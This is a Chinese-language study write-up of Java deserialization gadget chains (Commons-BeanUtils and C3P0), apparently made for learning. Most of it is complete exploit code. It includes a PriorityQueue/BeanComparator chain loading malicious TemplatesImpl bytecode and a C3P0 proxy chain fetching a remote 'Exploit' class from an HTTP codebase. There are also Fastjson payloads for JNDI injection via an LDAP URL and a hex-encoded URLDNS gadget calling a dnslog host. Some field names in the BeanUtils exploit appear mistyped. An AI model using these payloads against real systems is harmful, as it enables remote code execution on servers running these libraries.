CB 链

commans BeanUtils 提供了一个通过反射获取 Java Bean 属性的方法 PropertyUtils.getProperty() ,在获取 Bean 的某个特定属性值时,调用该属性的 getter 方法,因此衔接了 TemplateImpl 的 getOutproperties 加载恶意字节码,或是 JdbcRowSetImpl 的 getDatabaseMetaData 方法打 JNDI 注入。

接下来查找哪里调用了 PropertyUtils.getProperty() ,

img

创建 BeanComparator 实例的时候传入 property ,接下来查找怎么调用其 compare ,

反序列化时会调用 compare 还原原始对象位置的, 在 TreeMap 的 readObject 方法中跟进查找并没有 compare , TreeSet 也一样,优先队列 PriorityQueue 中存在 compare 调用

exp 如下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import java.util.TreeMap;
import java.util.TreeSet;
import java.util.concurrent.ConcurrentSkipListMap;

public class CB {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, InvocationTargetException, NoSuchMethodException, ClassNotFoundException {
        byte[] code = Files.readAllBytes(Paths.get("D:\\tools_D\\java\\java_learn\\cc_chain\\cc3_\\src\\main\\java\\templatesBytes.class"));
        byte[][] evil = new byte[1][];
        evil[0] = code;

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","evil");
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templatesImpl,"_bytecodes",evil);

//        PropertyUtils.getProperty(templatesImpl,"outputProperties");
//        BeanComparator beanComparator= new BeanComparator("outputProperties");
//        beanComparator.compare(templatesImpl,templatesImpl);
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(2);

        setFieldValue(queue,"quene",new Object[]{templatesImpl,templatesImpl});
        setFieldValue(beanComparator,"property","outProperties");
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(queue);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        ois.readObject();
    }
    public static void setFieldValue(Object o,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
        Class<?> clazz = o.getClass();
        Field fieldName = clazz.getDeclaredField(field);
        fieldName.setAccessible(true);
        fieldName.set(o,value);
    }
}

C3P0 链

1. URLClassLoader 远程类加载

exp 如下

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.Reference;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

public class C3P0 {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException {
        String className = "Exploit";
        String factory = "Exploit";
        String codebase = "http://localhost:8080/";
        Reference ref = new Reference(className,factory,codebase);

        Class<?> refSerClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        java.lang.reflect.Constructor<?> constructor = refSerClass.getDeclaredConstructor(
                javax.naming.Reference.class,
                javax.naming.Name.class,
                javax.naming.Name.class,
                java.util.Hashtable.class
        );
        constructor.setAccessible(true);
        Object referenceSerialized = constructor.newInstance(ref, null, null, null);

        PoolBackedDataSourceBase pbd = new PoolBackedDataSourceBase(false);
        setFieldValue(pbd,"connectionPoolDataSource",referenceSerialized);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(pbd);
        oos.close();

        byte[] payload = baos.toByteArray();
        ByteArrayInputStream bais = new ByteArrayInputStream(payload);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }

    public static void setFieldValue(Object obj,String Field,Object value) throws NoSuchFieldException, IllegalAccessException {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(Field);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

报错如下

Exception in thread "main" java.lang.IllegalArgumentException: Can not set javax.sql.ConnectionPoolDataSource field com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.connectionPoolDataSource to com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized
    at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)
    at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)
    at sun.reflect.UnsafeObjectFieldAccessorImpl.set(UnsafeObjectFieldAccessorImpl.java:81)
    at java.lang.reflect.Field.set(Field.java:764)
    at C3P0.setFieldValue(C3P0.java:44)
    at C3P0.main(C3P0.java:28)

com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized 不是javax.sql.ConnectionPoolDataSource 类型,这里可以使用动态代理进行绕过,这样本地反射设值的时候满足类型检查,当反序列化调用到 getObject 方法时,将其代理到前面设置好的 referenceSerialized 。

javax.sql.ConnectionPoolDataSource proxyDataSource = (javax.sql.ConnectionPoolDataSource) Proxy.newProxyInstance(
        C3P0.class.getClassLoader(),
        new Class<?>[]{
                javax.sql.ConnectionPoolDataSource.class,
                javax.naming.Referenceable.class,
                IndirectlySerialized.class
        },
        new InvocationHandler() {
            @Override
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                return method.invoke(referenceSerialized, args);
            }
        }
);

再次报错

Exception in thread "main" java.io.IOException: Problem indirectly serializing connectionPoolDataSource: java.lang.ClassCastException: com.sun.proxy.$Proxy0 cannot be cast to javax.naming.Referenceable
    at com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.writeObject(PoolBackedDataSourceBase.java:175)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:497)
    at java.io.ObjectStreamClass.invokeWriteObject(ObjectStreamClass.java:1028)
    at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1496)
    at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)
    at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)
    at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:348)
    at C3P0.main(C3P0.java:42)

下断点找到抛出错误的代码行,

跟进发现 orig 需要实现 Referenceable 接口,并且实现 getReference() 方法,

public IndirectlySerialized indirectForm( Object orig ) throws Exception
{
    Reference ref = ((Referenceable) orig).getReference();
    return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}

该 ref 即是 urlClassLoader 加载的类引用

ReferenceableUtils.referenceToObject( reference, name, nameContext, env );

修一下 proxy ,exp 如下

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.ser.IndirectlySerialized;

import javax.naming.Reference;
import java.io.*;
import java.lang.reflect.*;

public class C3P0 {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException {
        String className = "Exploit";
        String factory = "Exploit";
        String codebase = "http://localhost:8080/";
        Reference ref = new Reference(className,factory,codebase);

        Class<?> refSerClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        java.lang.reflect.Constructor<?> constructor = refSerClass.getDeclaredConstructor(
                javax.naming.Reference.class,
                javax.naming.Name.class,
                javax.naming.Name.class,
                java.util.Hashtable.class
        );
        constructor.setAccessible(true);
        Object referenceSerialized = constructor.newInstance(ref, null, null, null);

        javax.sql.ConnectionPoolDataSource proxyDataSource = (javax.sql.ConnectionPoolDataSource) Proxy.newProxyInstance(
                C3P0.class.getClassLoader(),
                new Class<?>[]{
                        javax.sql.ConnectionPoolDataSource.class,
                        javax.naming.Referenceable.class,
                        IndirectlySerialized.class
                },
                new InvocationHandler() {
                    @Override
                    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                        String methodName = method.getName();
                        if ("getReference".equals(methodName)) {
                            return ref;
                        }
                        return method.invoke(referenceSerialized, args);
                    }
                }
        );

        PoolBackedDataSourceBase pbd = new PoolBackedDataSourceBase(false);
        setFieldValue(pbd,"connectionPoolDataSource",proxyDataSource);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(pbd);
        oos.close();

        byte[] payload = baos.toByteArray();
        ByteArrayInputStream bais = new ByteArrayInputStream(payload);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }

    public static void setFieldValue(Object obj,String Field,Object value) throws NoSuchFieldException, IllegalAccessException {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(Field);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功触发 calc

img

2. JNDI 注入

全局搜索 lookup 方法,

exp 如下

import com.alibaba.fastjson.JSON;

public class Fastjson {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:2333/evilexp\", \"loginTimeout\":0}";
        JSON.parseObject(payload);
    }
}
3. hex 字节码加载

调用栈如下,fastjson 触发 setter 方法 --> gadget

img

反序列化的时候实例化该类,会调用 parseUserOverridesAsString 方法,并且每次 UserOverridesAsString 值更改时会被监听器检测到,再次调用该方法。

img

exp 如下

import com.alibaba.fastjson.JSON;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class C3P0FastjsonExp {

    public static String bytesToHexString(byte[] src) {
        if (src == null || src.length <= 0) {
            return null;
        }
        StringBuilder stringBuilder = new StringBuilder("");
        for (byte b : src) {
            int v = b & 0xFF;
            String hv = Integer.toHexString(v);
            if (hv.length() < 2) {
                stringBuilder.append(0);
            }
            stringBuilder.append(hv);
        }
        return stringBuilder.toString().toUpperCase();
    }

    public static String generateURLDNSPayload(String urlString) throws Exception {
        HashMap<URL, String> hashMap = new HashMap<>();
        URL url = new URL(urlString);

        Field hashCodeField = Class.forName("java.net.URL").getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 12345);

        hashMap.put(url, "111");
        hashCodeField.set(url, -1);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);
        oos.close();

        return bytesToHexString(baos.toByteArray());
    }

    public static void main(String[] args) {
        try {
            String targetDnsLog = "http://29vul8.dnslog.cn";
            String hexPayload = generateURLDNSPayload(targetDnsLog);
            String fastjsonExp = "{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:HexContents;\"}";
            fastjsonExp = fastjsonExp.replace("HexContents", hexPayload);
//            System.out.println("[*] Payload:\n" + fastjsonExp);
            JSON.parseObject(fastjsonExp);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}